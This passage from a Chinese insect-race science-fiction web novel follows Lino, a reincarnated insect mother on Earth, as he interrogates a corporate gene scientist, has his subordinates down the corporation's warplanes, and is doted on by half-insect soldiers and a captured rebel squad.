他对艾米丽眨眨眼：“不想说也没关系，你们先休息会儿，等我解决掉这里的麻烦，就会放你们走。” 宽阔的房间内，半虫士兵重重将一些食物和水放在桌面，把坐着的敢死小队吓得往上一弹，对半虫的态度更加警惕。 半虫士兵黯淡着一双基因完全觉醒后的竖瞳，目光幽怨嫉妒：“冕下让我给你们的……” 另一只半虫完全把委屈写在脸上：“真不知道你们哪里值得冕下那么温柔的对待。”眼里浮现羡慕的泪水。 “啊……对不起？”敢死小队的一个成员弱弱道歉，天杀的凶残改造士兵露出这种明显不忿又委屈的神情，居然让他觉得有几分愧疚？ 刚才他可是被这些委屈士兵给压在地上向他们的冕下叩拜！膝盖都肿了！ “那可是我们的冕下啊！”半虫们不被头盔遮挡的面容浮现痴迷的红，不再和敢死小队说话，而是满心满眼只有冕下，守在门外执行冕下的命令。 “冕下一定也是喜欢我们的吧？不然为什么冕下不给其他虫下命令，而只命令了我们！”用来看住敢死小队的半虫们喃喃自语。 “法克，这些半虫好像不太正常啊？”队员很艰难地把“痴/汉”两字咽下去，略微委婉出声。 “是很不正常吧！”另一个队员吐槽，“那位冕下对他们的影响力我只在昆虫科普书籍上见过，不，比起蜂后、蚁后还要夸张。” 艾米丽沉默了一会儿：“这应该是他们种族的特性？对我们很有好处，诺亚之舟这次踢到铁板了！” 人家外星种族都特地来这里寻仇了！ “可是队长，外星种族会不会像科幻电影里那样，入侵并占领我们的地球？”队友紧张地问。 “……不知道，但我觉得，未来再怎么样，也不会比现在差了。”艾米丽艰难道。 “说的也是！” 几人的对话完全传到了虫族的耳朵里，利诺略有些无语。 且不说他上辈子是人类，对好的人类多少有点感情，且不说他就不是那种入侵地球的外星大反派，就从最客观的方面说， 利诺用拇指和食指比出韩国男人会破防的手势：“就这么一个地球，银河系总起来也就那么点，我会看的上？” 他们虫族目前的四个大星系都没足够的虫手去开发，同时又在驱散隔壁星系的迷雾。 总的来说，虫族地盘很大，根本瞧不上这点地盘。 气鼓鼓的冕下也很好看，刚服务完利诺的希尔维乌斯没有在工作时克制住对利诺的仰慕，亲昵地捏了捏利诺的脸颊。 很软，亲起来应该会像云朵。希尔维乌斯想。 利诺认为自己之前的温和善待都白费了，哼哼着，想出一个超级无敌残忍的损招。 十分钟后，刚被好吃好喝对待的敢死小队呆呆地握着清洁工具，望着地上一层又一层的尸体和血迹。 半虫：“因为你们把我们冕下想的跟坏蛋一样，我们冕下惩罚你们把这片走廊清洗干净。” 他想到冕下的吩咐，加重语气：“要干净得可以照出影子。” 半虫的态度越来越差，给他们的清扫工具都是半坏不坏的，不过谁让这些人躲起来说冕下的坏话，又没想到虫族堪称变态的耳力。 他们冕下那么温柔善良美丽大方和善真诚善解虫意……这几个人才是大大的坏人！ 队友苦哈哈举起只有几根毛的扫帚：“队长，这得打扫到什么时候？” 另一个队友拿着根只剩下拖把头的拖把：“怎么说呢，那位冕下……怪可爱的。”跟小孩一样，连惩罚都是不痛不痒的。 艾米丽无奈地笑出声：“好好干吧，谁让我们背后说人家呢！” 不过可爱嘛……确实很可爱！艾米丽的担忧全部没了，青年用这种方式也告诉了他们，他不屑入侵。 虫好，人坏！ 利诺更想让敢死小队去挖一天矿，可惜此时不在虫族的星系。 解决完说他坏话的敢死小队，利诺让半虫把半死不活的西里博士拖到他面前。 在和助理的弱鸡互啄中，西里博士虽然活了下来，但明显没捞到多大的好，鼻青脸肿，眼睛被揍得只剩下一条缝，勉强说得上成熟英俊的脸此时完全成了猪头。 “西里博士对吧，现在该你说另外几所实验室的位置了。”利诺如若神明，晃花了西里博士的眼。 因为牙齿被助理打飞一半，西里博士一张嘴，说话漏风，口水混着血液滴滴答答流下来。 利诺嫌弃地躲在了希尔维乌斯的身后，无论如何，他是不会再给西里博士治疗的。 希尔维乌斯的身体很僵硬，他眼睁睁看着人类肮脏的血沫差点溅到他身上。 可怜的蛾子很想躲，可背后的小虫母正柔弱无依，于是死脑筋的希尔维乌斯僵着脸站在原地，忍住一尾巴把西里博士甩飞的冲动。 冕下现在需要他希尔维乌斯的保护！恶心的血沫永远不能越过他，玷污冕下！ 好在西里博士没有被彻底打傻，思维逻辑依旧清醒，用手帕擦干净嘴里的血，也习惯了说话漏风的感觉。 西里博士报出另外几所重点实验室的坐标，用手帕又擦了擦鼻血，接着道：“当初诺亚之舟朝外太空发射的一枚飞船意外捕捉到一截不明生物的断骨。” “我和另外几个实验的负责人对这枚断骨进行研究。很幸运，我们最终会在这枚断骨上提取到了一组基因。” “我发现，这组基因更偏向节肢生物，但要更完美，完全超越了人类的基因，完全是宇宙的巅峰之作！由基因推算的生物不仅强大，也有超长的寿命。” “在诺亚先生的支持下，我们开启了对这组基因的研究，以及将它应用到延长人类寿命的工程中。但是基因的样本太少，现有的科技也不支持深入研究基因。” 利诺问：“诺亚先生是谁？” 西里老实交代：“诺亚先生很神秘，我很少见到他，只知道他是诺亚之舟的创始人，掌握整个科技集团。诺亚之舟一方面呼应他的名字，一方面联系诺亚方舟的神话故事。” 他继续道：“但那时候，联盟政权强硬禁止发射私人火箭，甚至不顾科技集团的施压，直接打落诺亚之舟的火箭。我们只能复制这串基因，进行人体实验。结果表明，这一串神秘复杂的基因非常霸道，在进入人体后会强行替换、改造原本的基因，成功改造的概率只有40％，而且基因在不同的人体内会发生不同的变化，形成完全不同的个体，他们会有各自擅长的地方，但无一例外，远比人类要强大！” 西里博士一直因为自己创造了新的生物武器而自豪：“当然，更多的实验体只会发生异变，迅速死亡，这些年的研究，基因改造的概率也只从40％升到了60％，因此即使成功改造的实验体寿命会大大延长，诺亚先生也没有接受改造。” 创始人追求长生，改造的成功率不到百分之百，他万万不会接受基因改造。 “这些实验体则被物尽其用，成为维护诺亚之舟的士兵。”感受到虫族越来越冷的气氛，西里博士打了个哆嗦，求生欲更加强烈。 他一路跪走到隐蔽的角落，掏出密码板，在上面按动。 叮地一声，角落打开一个暗格，西里博士拿出里面的几份文件，连忙交给利诺：“这是这些年最重要的实验资料，涉及整个集团的最高机密。都交给您。” 利诺对这劳什子公司的机密不感兴趣，他们虫族的科技比现在的地球要先进得多。 他捕捉到西里博士话里的一句：“你说，联盟禁止发射任何火箭？这是为什么？” 利诺直觉这才是重点。 第58章 利诺的问题问到西里博士的盲区，他捧着加密文件的手脱力：“我不知道。” “除了联盟那些老东西，没有人知道……谁知道联盟对各大集团退让，为什么在发射火箭到外太空这件事上这么较真。”西里博士摇头。 利诺将记载其他实验室坐标的纸张交给艾默里，他和希尔维乌斯都不懂现在地球上的坐标数字怎么看，好在这些半虫会。 “能、绕我一命吗？我不想死。”西里博士低声求饶。 要一个惜命爱命的人气死，无异于是最大的痛苦，西里博士更加不能容忍自己死，他的智商那么高，他本可以继续在诺亚之舟不断攀升，说不定未来还会代替创始人的地位，连地球的联盟政权都要对自己笑脸相迎。 利诺的声音很好听，如泉水汩汩，天真的神情和无辜的凶残恰到好处地融为一体：“不能呢。” “那你能告诉我，你们是哪个种族，又来自哪里吗？”西里博士苦笑，“让我死个明白可以吗，我研究基因改造半辈子，都没有彻底研究透你们种族的基因组成。” 利诺站起来，神情恹恹：“你觉得我脾气很好，所以在这提要求？” 他没有理由回答西里博士的问题，也没有那个善心去死前关怀一个研究虫族基因并制造出一堆半人半虫的人。 谁让西里博士研究什么不好，非研究他们虫族的基因？谁让西里博士运气不好，偏偏撞上意外回到地球的利诺？ 若是真让这些集团摸透虫族的基因，以后制造出专门针对虫族的基因武器怎么办？利诺想活着，想活着的前提就是保护虫族的延续，他不允许威胁到虫族生存的任何一个因素出现。 “冕下，我听到战机的声音，应该是诺亚之舟发觉了这里的异动？”艾默里道。 与此同时，在外面自发巡逻的半虫士兵也联络到利诺，毕恭毕敬：“冕下，有一千二百架最新型号的战机在往这里飞来。” 诺亚之舟不是傻子，在联系不上第三实验室后迅速开启应对措施。 大集团在这个贫富两极分化极其严重的地球上逞威风惯了，联盟除了严格限制外太空火箭的发射外，根本无暇顾及它们作威作福。 因此，资产排名前几的集团都有几支数量不少、有各种武装设备的军队，明晃晃摆着，联盟政权曾反对过，但终归没有奏效。 到了现在，这些经济集团几乎是划分了彼此的势力范围，与其说是带着众多子公司的母公司，倒不如说是割据一方的政治经济集合体。 第三实验室的地点就在诺亚之舟集团覆盖的区域，因此在第三实验室彻底失联后，科技最先进的战机飞出来震慑。 不知道对方是不是察觉到半虫士兵的影响，因此这次的战机驾驶员都是货真价实、经过严苛训练的纯种人类。 利诺的半虫们还不能够在人型和虫型之间来回转换然而就算只有希尔维乌斯和艾默里两只虫，也足够让这些战机有去无回。 拄着下巴想了想，利诺看向面前等待他吩咐的两只虫族：“把战机都打掉。” 希尔维乌斯不懂地球的语言，但是艾默里会，于是利诺又加了一句：“留个活口，让他们把虫族的基因和所有的半虫士兵在明天中午之前都交出来。” “一切听冕下的。”高等虫族俯首，没有任何质疑。 “要小心哦！”利诺温柔地拍拍希尔维乌斯和艾默里的臂膀，重新找了个舒服的椅子内坐着。 恩，他利诺已经单方面把这里当做虫族临时驻扎的地点了，毕竟艾默里的家已经成了废墟了。 利诺不介意这里有没有电，打开能源石供能的腕表，打开全息投影，以希尔维乌斯为视角的画面清晰显露。 “冕下，您要喝可乐吗？”一只半虫小心翼翼地走过来，他的手心捧着一个瓶子。 装满可乐的罐子外附着一层冷雾，是从刚断电没多久的冰箱里拿出来的。 半虫第一想法就是先将搜寻到的所有事物都上交给小虫母，让他选择。 来自外星的冕下，应该还没有见过人类的食物。 果不其然，利诺的眼睛亮了，不过不同于半虫的想法，他喝过可乐，在上辈子。 这辈子……虫族对研发食物没什么兴趣，可吃的食谱很少，这种碳酸饮料更是没有。 “谢谢你！”利诺高高兴兴地从半虫的掌心拿可乐罐，柔软的指尖碰触了半虫过于粗糙的掌心。 半虫抖了下，利诺则奇怪地低头查看，半虫的掌心太糙了，就算再怎么训练也不应该有这种触感。 果不其然，利诺一寸寸摸过半虫满是丑陋伤疤的双手，问：“这是怎么弄的？” 丑陋的手被漂亮的青年握在手心关怀，半虫的脑子晕乎乎的，不会思考，只会老实回答：“之前执行任务时，搬运着火的易燃物品烫的。” 虫族的皮肤不会轻易留疤，只有在短时间内不断受伤愈合又受伤，才会有疤痕。 利诺可以想象到诺亚之舟的某个实验室着火，里面全是易燃物，负责人不愿意花更多的钱去解决，直接让这些廉价的生物兵器去搬。 半虫们抱着滚烫的易燃物，能够将普通人类的皮肉烧成黑烟的高温在半虫的手心留下一层不算严重的烧伤。 烧伤在一些时间后会愈合，可是半虫不可以停下，于是手会不断被烫灼，直至将所有易燃物品搬离火焰。 半虫忘却了那些疼痛，只记得现在冕下握手的感觉，柔软、温暖，舒服得想流泪。 半虫以为冕下只是问一问——这样他已经很高兴了，但没想到舒适的温暖随着利诺的碰触而蔓延，难以愈合的伤疤消失，只留下因为训练而留下的厚茧。 “冕下！”半虫讶异无比，沉稳的声调都发生了变形。 利诺什么都没说，重新将冰凉的可乐塞到半虫的手心，笑着使唤半虫：“帮我打开，我想喝。” 半虫带着了些哭腔：“遵命，冕下。” 久违的可乐，久违的爽快，利诺喝下半罐，重重呼出一口气。 他想起来什么，又问这只半虫：“你们这里有可乐鸡翅这道菜吗？” “……好像有。”半虫士兵是没有资格在员工食堂吃饭的，不过他似乎在食堂的菜单上见过这个名字。 半虫只想满足小虫母的一切要求，不等利诺再说社么，他急匆匆道：“冕下，我让人去做！” 说完就拉着几个半虫士兵往食堂厨房跑。 利诺：“……”这虫怎么这么激动。 不过，他舔了舔嘴角，把剩下的可乐一饮而尽，如果有条件的话，他也很想吃。 又叫来一只半虫，利诺道：“你把身上有伤疤的半虫都叫过来。” 闲着没事，利诺决定治愈下这些半虫们，这可都是他利诺的属下，也是壮大虫族的一份子！ 半虫士兵们待遇是真的不好，利诺在治愈的时候，甚至见到一个半边严重腐蚀的半虫。 那只虫因为怕吓到他，一度不敢出来见他，还是利诺假装生气，才把半虫逼出来。 这时，腕表的全息投影中，两只虫族已经飞到与战机同等的高度，竖瞳冰冷，尾钩迫不及待。 希尔维乌斯从空间钮拿出虫族的热武器，看了眼身边手中空空如也的艾默里，又拿出一个类似地球热武器但威力更大的武器扔给艾默里。 “谢了。”许是虫族基因的影响，艾默里几乎是瞬间就掌握了武器的用法。 希尔维乌斯微微点头，虫族彼此之间是争夺虫母目光的竞争者，但在作战时，他们又全都是为虫母而战的士兵。 另一边，几只虫族看着冒黑烟的锅，严肃皱眉：“冕下想吃的可乐鸡翅不是这么做的吗？” 可乐鸡翅可乐鸡翅，难道不是把可乐和鸡翅放到锅里就行了吗？怎么使用天然气的炉灶反而冒起了黑烟？ “要是厨师没死就好了。”有只半虫叹气，“人类一定知道可乐鸡翅的做法。” 可惜，实验室内的所有人都被暴怒且效忠虫母的虫族杀光了。 “人类……”半虫想到那批被抓住的侵入者。 十分钟后，一群半虫士兵气势汹汹地来找敢死小队。 正拿着破抹布、破扫帚艰难清洗走廊的敢死小队立马警惕起来，拿着打扫工具当武器：“你们要干什么？” 为首的虫就是利诺刚治好的半虫，冰冷的竖瞳扫视一圈，在敢死小队越发谨慎的目光中，冷肃开口：“你们谁会做可乐鸡翅？” “？？？”敢死小队万万没想到半虫要问这个，还以为是来杀他们的。 魁梧的汉子道：“俺会，俺之前是当餐厅厨师的，顾客都夸俺做饭好吃！” 虽然日子不富裕，被老板不断压榨，可魁梧汉子挣的钱勉强够维持家用，可谁知他因为文化不高被餐厅老板陷害，替餐厅老板背了黑锅，进了监狱。 等出来时，他的家散了，爹娘气死了，媳妇被餐厅老板逼着带两孩子跳楼了，然而汉子甚至报不了仇，因为那餐厅老板和诺亚之舟科技集团的一个高管有亲戚关系。 “好，那你跟我们来！”半虫们的表情都没有那么恐怖了，对魁梧汉子都温和了不少。 “等等！”艾米丽拦住魁梧汉子，问半虫，“你们要保证不会伤害他！” 半虫不屑：“我们只杀实验室的人，你们又不是。” “快点，冕下想吃可乐鸡翅！”另一只半虫不耐烦地催促，“我们答应不碰他，只需要他做出我们冕下喜欢的食物。” 艾米丽确认半虫没说谎，才让魁梧汉子跟着半虫们走了。 过了一会儿，又有一群半虫走过来，虚心求教艾米丽：“有什么花可以表达我们对冕下的深爱、敬重、仰慕和虔诚？” 之前恰好在花店工作的艾米丽：“……” 第59章 “报告，α小队失去联系。” “β小队失去联系。” “γ小队失去联系。” 屏幕上，代表每个飞行员的心跳在短短几息间，变成一条直线，滴滴的警报声持续响起。 不仅驾驶战机的飞行员，就连科技集团最新研究出来的战机都无法抵抗那怪物的一击。 高空上，只留下孤零零的一架飞机，摄像头忠实冷静地记录这一切，并将其反馈给屏幕的最后一块上，其他的屏幕都变成了灰白。 一张极其英俊但绝非人类的脸出现在摄像头上，竖瞳似乎是在透过设备去看背后的人，也就是那些诺亚之舟的高管们。 半虫化的希尔维乌斯收敛恐怖的虫翅，从竖瞳蔓延生长的复眼全都展现在这些高管的眼中，冷酷，残酷，反映出虫族带来的恐惧。 指挥室随着袭击战机的怪物出现，而不自觉出现几道倒吸凉气的声音。 有人掏出十字架，在嘴边轻吻，低声祈祷：“Jesus！” 仅有一截断骨就让他们制造出强大的生物兵器，而现在，遗留断骨的种族找了过来，用绝对的强大震慑住所别有用心的人。 半虫和真正的虫族语言不通，希尔维乌斯在看到这类似远古摄像的东西时，用虫族特有的振翅提醒艾默里。 艾默里将吓到昏迷的飞行员扔到一边，走到摄像头那里，中心的一点红光表示仪器的正常运行。 懂得地球语言的艾默里执行了虫母的最后一条命令，因为同样半虫化的原因，他的世界语夹杂着虫类的嗡鸣。 简洁明了，他们不许诺亚之舟再保留从断骨上提取的基因，和基因改造的产物。 摄像头捏碎，最后一名飞行员侥幸留下一命，毕竟利诺说了留个活口，那么希尔维乌斯和艾默里再如何，都会留一个活着的。 画面斑驳，能到场的高管基本都到了，彼此对视，看到对方眼中的恐惧和未来得及擦拭的冷汗，刚进来时被挑衅的愤怒和高傲一点都不剩。 人教不会人，只有事可以教会人，至少这些高管暂时没有要找回诺亚之舟面子的胆气了。 那些异族有着远超人类的身体素质，似乎还能够策反拥有异族基因的半虫士兵，他们最先进的科技在这些怪物面前宛若最脆弱的玩具，着实不堪一击。 最终，一个年长的高管擦擦额头的汗：“我想，我们应该去找诺亚老先生。” 诺亚之舟的创始人已经不年轻了，除了延长寿命的研究方面，几乎不过问其他事情。 但如今，异族已然毁掉了诺亚之舟的一个重要实验室，和上千架的最新战机……在高管看来，集团绝对惹上了史无前例的大麻烦！ 诺亚之舟严重的大麻烦们正在想法设法讨好他们的小虫母，虫族的学习能力很强，这意味着他们只要用心学某一方面，学得就会很快。 实验室内被专门培育的珍稀花朵漂亮娇艳，半虫们在艾米丽的指导下，包扎出一束束花束献上去。 冷冻库专门供给三级以上员工的食材被半虫们掏出来，浑身都是杀器的半虫露着膀子，壮硕的肌肉虬结，跟着一起颠锅炒菜。 除了这些，还有之前是裁缝店学徒的敢死小队成员被一圈半虫围着，教授缝纫。 还有一些半虫专心致志在跟酒吧调酒师学一些花式调酒。 敢死小队内的成员基本都是有正经工作，但因为种种原因而被逼到不得不加入反抗军中，他们可能打死也想不到，有一天会再就业，并当起半虫士兵的老师。 很奇怪，但细细感受又很和谐。 只有一个年轻人在孤零零地拿两根毛的扫把扫地，眼神哀怨。 他是个别惯坏的官二代，除了吃喝玩乐什么都不会，被当高官的父亲直接打包送到反抗军中磨练 方法很有效，虽然年轻人什么都不会，但却切实明白了父亲这么做的理由，也体会到了反抗军的所有成员曾遭受的重重不公，因此在这次的敢死小队组建中，他毅然而然地加入其中。 年轻人被激发出几分血性，在反抗军的生活让他甘愿为了更美好的未来而献出生命。 然而，这与年轻人不得不继续扫地无关，他后悔自己之前过于贪玩，吃了吃喝玩乐居然没有一个特长。 同伴们一个接一个地被半虫好脸对待，只有他！只有他，三根毛的扫帚又掉了一根，只剩下两根毛。 “你怎么不和他们一起玩？”利诺走出来，看到这种场面，脸颊上漾起淡淡的笑意。 接着，他看到这个年轻人拿着两根毛，姑且可以称作扫帚的东西在扫地。 利诺很疑惑，他不觉得有人的兴趣是这个。 “在扫地啊……卧槽？”年轻人怨气满满的眼神扫过来，顿时瞪大眼睛。 官二代也曾在夜晚的大都市浪荡过，但他从来没有见过这么好看的青年，被色心侵蚀大脑导致他忽视利诺的竖瞳。 撩拨的话语张口就来：“小美人，因为我在等你来呀～没有你一起，我玩还有什么乐趣呢～” 利诺眨眨眼，不确定道：“你在引诱我吗？” 年轻人自信地撩起头发，坦然承认：“被你猜对了，要一起吗？” “不要。”利诺果断拒绝，眼神扫视年轻人了，嫌弃地啧了声，重复，“不要。” 没雄虫们长得好看，也没雄虫们壮，这年轻人的小身板甚至扛不住他坐下去。 年轻人颓废叹气：“哎，我就知道，你这样的大美人是看不上我的！要是我爹年轻个几十岁，你估计会看上他。” 他叨叨着，突然发现刚才还热闹的场景似乎瞬间冷清，没有询问的声音，没有颠勺的声音，只有他自己一个人的声音。 年轻人迟钝地意识到不对，赶紧闭上嘴巴。 无数冰冷的视线投注到他的身上，令他发抖，其中有两道目光尤其渗人。 年轻人小心抬头，就见两个高大魁梧的异族男性一左一右站在美人身边，看他的眼神似乎要生吃了他。 “冕下，需要我动手吗？”希尔维乌斯一回来，就发现自己仅仅离开十来分钟，就有一个干瘦人类来勾引他的冕下。 本来与几千万名虫族强争夺小虫母的欢心就已经很艰难了，现在又多了一个人族，希尔维乌斯的怒气噌噌往外冒。 与同族竞争就罢了，强者为胜，但一个弱小人类又有什么资格跟他抢冕下的爱？！ 另一边的艾默里是同样的想法，不过他没有在虫族生活过，在某些方面更偏向人类的思维方式。 他彻底觉醒时，就意识到利诺是他的王，同时也是他的母与妻。 被当着面抢妈妈和老婆，半虫哪里能够忍受！ 年轻人眼前一黑，只觉得自己要完了，他是不是再也见不到他亲爱的爹了！ 恶劣的小蝴蝶觉得年轻人的丰富表情很好玩，打算再捉弄年轻人：“你可以选一个死法。” 年轻人无比绝望：“有没有好看点的死法？让我爹认定我是英勇牺牲。” 他害怕地抖，眼珠一转：“唔，你看不上我，那我老爹你要不要？只要不杀我，我把我爹送给你，他年轻时可是联盟一枝花！” 利诺沉默了很久，最终点评年轻人：“人不能这么孝，还是要挨点打的。” 年轻人下意识捂住裤子：“求您不要让我失去我亲爱的兄弟！” 利诺认为年轻人无法沟通，拽拽艾默里的衣角。 艾默里了然点头，扯着年轻人的衣领往外走，年轻人鬼哭狼嚎：“救命，队长救命，爹救命啊！” 凄惨的哭声响彻整个实验室。 艾米丽尴尬地低咳，找补地用手指点点头：“不好意思，他这里有点问题。” 利诺点头：“我知道了，希望艾默里的拳头可以让他康复。” 艾米丽：“谢谢？” “不客气！我很喜欢助人为乐的。”利诺挥挥手，自谦。 “那个……冕下，您现在方不方便和我们的首领联系？”艾米丽很尴尬，毕竟年轻人实在是太丢他们敢死小队的脸了。 利诺捧起一束花，点点花蕊的花粉，一边深沉地想这种花酿蜜的味道怎么样，一边无所谓地点头：“可以。” 艾米丽摘下耳朵内的耳机，在耳机上按了按，成熟男性的声音瞬间放大。 人在尴尬的时候总会先咳嗽几声缓解，这位反抗军的首领也不例外。 他重重咳嗽几声：“不好意思，冕下，犬子给您添麻烦了。” “正式介绍下，我是集结反抗军的首领，同时也是现届联盟的议会长伊夫巴纳巴斯。”男人道。 利诺没明白：“你是说，你在联盟当议会长，然后又专门建了个反抗军推翻自己？” “冕下，这是有原因的。”巴纳巴斯解释，“现在的世界政权太过混乱，联盟无法彻底压制那些集团，我们只能采用最激进的方法，去颠覆整个政权，建立一个更加平等的政权。” 他不紧不慢：“您和您的从属自其他星系而来，应该知道宇宙中的黑雾。” 利诺掐了片花瓣闻了闻，有点香，道：“当然，我们的领地就是从黑雾抢夺来的。” 牙有点痒，利诺打算试一试，把花瓣放入口中吃。 关键时刻，希尔维乌斯握住了利诺的手，不让他吃花瓣。 利诺咬住了希尔维乌斯的手指，四颗冒着痒意的犬牙才止住痒意。 飞蛾神情认真，用清洁干净的手去摩梭利诺的犬牙，随即抿出点不多见的笑来：“冕下要长尖牙了。” 第60章 利诺伸出舌头舔了下口腔内的一颗犬牙，比起之前的又平又钝的牙，似乎有变尖的趋势。 他把另外三颗犬牙都舔了个遍，惊喜地抓住了希尔维乌斯的手臂。 希尔维乌斯敛眸抽出干净的手帕，擦了擦利诺的嘴角：“拉斐尔不在，但也许您需要食物磨牙？” 利诺的牙确实痒痒的，有种要磨牙的冲动。 巴纳巴斯一直在安静聆听这位异族冕下和他属下的对话，但奈何他们交谈时用的是星际通用语，和地球目前统一的世界语不同，他听不出任何信息。 到底心眼多，巴纳巴斯从利诺和希尔维乌斯的语气中察觉，这位来自异族的冕下似乎年纪并不算大，而利诺的下属给了巴纳巴斯一种要宠坏熊孩子的既视感。 巴纳巴斯尚不了解虫族的政权结构和内部文化，但已经知道了这位冕下在其中组内的位置绝对不低，且对任何包含本族基因的生物都有奇怪的吸引。 最重要的是，利诺的回复彰显他们对如何应对黑雾有充足的经验！ 等利诺平复好自己突然要变尖牙的心情，巴纳巴斯才恰到好处，温和不失恭敬地询问：“冕下，听您的意思，您的种族很懂得如何应对黑雾。实不相瞒，目前联盟的所有兵力都用来去抵抗那片黑雾，死伤惨重，只能勉强拖延。我是否可以与您做交易，您提出任何想要的，我会全力为您提供，我们现在非常、非常需要驱散黑雾的有效方法！” 人类自丧尸病毒爆发而进入末世，在数百年后又从末世进入动荡的乱世，再次持续百年后，地球才真正进入相对稳定的时代。 然而之前的国家因为丧尸的原因而不复存在，在几次混乱战争中，统一的地球联盟政权正式成立。 联盟在成立之处拥有绝对的权力，可随着经济和科技的发展，以及现有政体的弊端，众多崛起的大集团逐渐兴盛，以至于联盟的权力越来越小，经济集团的权力却越来越大。 社会朝两个极端化的畸形发展，这样迟早会再次崩溃，陷入末世结束后的动荡时期，不会有人希望再次重演那段饿到人吃人、没有法律法规的黑暗时期。 巴纳巴斯上任前，联盟的前几任议会长一直想要作出改变，收回那些公司集团的不合理权力，他们筹谋几十年，明面上争取与那些集团的话语权，私下里征兵练兵，在巴纳巴斯这一任就快要成功后。 可谁知，笼罩在地球外部的卫星保护系统侦查出莫名的黑雾，黑雾不断侵蚀宇宙和星球，即将逼近地球。 联盟无法信任那些集团，集团在得知这种情况后必会优先打造逃生飞船，绝不会轻易与联盟合作，因此联盟只好将所有的军队派驻外太空，抵抗黑雾的侵蚀。 效果并不理想，黑雾太过危险，他们根本找不到有效的方法，只能无比艰难地抵抗那些奇怪的黑雾。 巴纳巴斯一方面忧心外太空的黑雾，一方面警惕集团夺权的危险，没了兵力，他想出另外一个方法。 在集团的压榨和极端的贫富分化下，普通人的生活的权益根本得不到保障，无数平民因为集团而家破人亡。 正所谓不破不立，巴纳巴斯由此组建反抗军，推翻目前社会的畸形结构，也好进一步去支援外太空。 利诺：“我们只知道一个方法，驱散黑雾，就要进入迷雾之门，找到门的钥匙摧毁。” “门？那些悬浮在黑雾中的门？我们的人冒险进入过，可最后他们没有出来，反而是门再次开启，放出一堆怪物。”巴纳巴斯道。 “门内有危险的怪物，如果进入门的人在一定时间内没有找到钥匙，那么门就回在释放内里的所有怪物后消失。”利诺不会插手人类之间的权力争端，也不介意给自己的半个同族透露这些不算重要的消息。 想了想人类目前使用的武器多为热武器，利诺补充：“门内无法使用热武器，但拿进门内的冷兵器对杀死怪物会非常有效。” “谢谢冕下，您如此慷慨告知这些珍贵的消息。我知道您来地球是为了同族被窃取的基因，我会让反抗军帮……刺啦刺啦……您……什么事……刺啦刺啦……” 耳机仿佛被什么干扰，发出刺耳的电流，众人和众虫听不见巴纳巴斯的话。 艾米丽拍拍耳机，皱眉：“是通讯干扰器，诺亚之舟来反击了？” “冕下，在实验室地上的巡逻兵报告诺亚之舟集团刚才有一架无人机在附近丢了几个银色铁片。”半虫士兵走进来，将一枚银色物件交给利诺旁边的希尔维乌斯。 艾默里看了眼，确认道：“是诺亚之舟制作的通讯干扰器。” 利诺抬起手，轻轻一戳，干扰器凸起一块：“他们扔这个东西做什么？” 不是利诺笨，而是这东西阻碍不了他联系虫族，腕表的通讯功能因为距离太远而掉线中，如果腕表可以使用，这种东西也干扰不了他们的通讯，更何况，利诺还有精神力链接这一个能力。 艾米丽：“怕不是在针对您，而是防备我们联系反抗军。” 诺亚之舟因为虫族之前的行为而有所顾忌，可他们绝不允许同样侵入第三实验室的反抗军有和外界联系的可能。 只是他们到底发现晚了一步，没有想到反抗军派来的敢死小队居然能和凶残的异族心平气和交流，还临时充当起了半虫们的老师。 利诺安慰艾米丽：“没关系，有我在，你们不会有事。” 伸出两个手指，小虫母自信道：“如果那个诺亚不把我要的东西交给我，最多两天，我的属下会过来，踏平诺亚集团！” 青年明明温和，可话的内容却让敢死小队后背发凉，青年的种族到底有多强大，可以让他自信地比出食指和中指。 虽然不应该，但是艾米丽真就松了一口气，这该死的安全感！ 晚上，一只半虫将专门制作的磨牙饼干装在精致的小盘子中：“冕下，我想您需要用这个磨牙。” 高个壮实的半虫在利诺面前很是腼腆，抿嘴的时候嘴角凹陷出两个不太明显的酒窝，为英俊的外表添上几分可爱。 这是半虫特地去找敢死小队中一个之前是甜品店学徒的人学的，考虑到虫族牙齿的硬度，特意做硬了几分。 利诺多看了两眼，拿起一根磨牙饼干咬，硬得刚刚好，非常适合磨牙，四颗犬牙不会特别痒。 “谢谢你！”小虫母软乎乎地道谢，礼貌又亲热。 半虫顿时不知道把手脚往哪里放，害羞之际，唇边的酒窝更加深。 艾默里不觉得有什么，他只是挑挑眉，决定一会儿也要去学习。 希尔维乌斯内心警铃大作，他对这些后天被改造成半虫的士兵没有意见，只要冕下认可他们、喜欢他们，希尔维乌斯也会承认半虫作为同族的身份。 可是他现在突然意识到，半虫也太招利诺冕下喜欢了？！比起虫族星系那些大部分单蠢到真把头发染绿、穿花裤衩的虫族，这些半虫无疑更会招冕下的喜欢！ 包扎精美的鲜花、拥有跳舞唱歌调酒等各种特长，以及烹饪那些比虫族本土更美味更多样的食物甜点…… 冕下看起来是那么喜欢，而本土的虫族除了战斗，似乎就只会赞美小虫母、对着小虫母的照片流口水？ 希尔维乌斯的危机感越来越浓，如果自己再不努力多学一些，是不是他的地位在未来会被半虫中的某一只代替？！ 不行，他必须也要学起来！ 懒懒打了个哈欠，利诺揉了揉困顿的眼。 希尔维乌斯自觉抱起利诺，进入打扫干净的房间。 “我今天不睡。”利诺上辈子深刻体会过人类的狡诈，只需要稍微思考，就可以生出一堆防不胜防的阴谋诡计。 利诺的精神力一直持续放出且覆盖整个实验室，包括外面的私人花园和周围一千米的距离。 重回地球，利诺在陌生不熟悉的地方不敢再休息，就怕睁开眼，他的下属会像上辈子那样，变成只知食生肉的丧尸。 艾默里和但扶林的房子还好，利诺相对放松，但实验室就不一样了。 利诺咬住希尔维乌斯凉凉的嘴，催促雄虫翅膀根分泌出更多的蜜液。 雄虫很快反客为主，从小虫母的唇到脖颈以下，粗糙的舌舔舐柔软的奶白皮，留下淡淡的红。 自蜕变后，虫母的特性使然，利诺不需要耗费太多时间就从懵懂变得学会顺从欲望，很多时候他不用出力，只需要被雄虫尽职尽责地服务和取悦。 咬住雄虫的半张脸，利诺扯住希尔维乌斯的发丝，气息不稳：“我还不想再生虫蛋……” 希尔维乌斯低低应了声：“冕下放心，我会注意的。” …… 希尔维乌斯最终用另一个方式哄睡了小虫母，他知道利诺在担心什么，可他既然是冕下忠诚的虫，就有绝对的把握保护冕下和他在乎的一切。 利诺明明可以更轻松些，把这次意外当做绝妙的假期旅行，希尔维乌斯自责，他还需要变得更强，就像所有的雄虫一样，永不止步，只为了冕下！ 地球上的时间此时接近凌晨，即使被心心念念的小虫母宠爱了，希尔维乌斯也极有分寸和规矩，没有将利诺欺负得太狠。 希尔维乌斯拦住一个刚从厕所出来的敢死队成员。 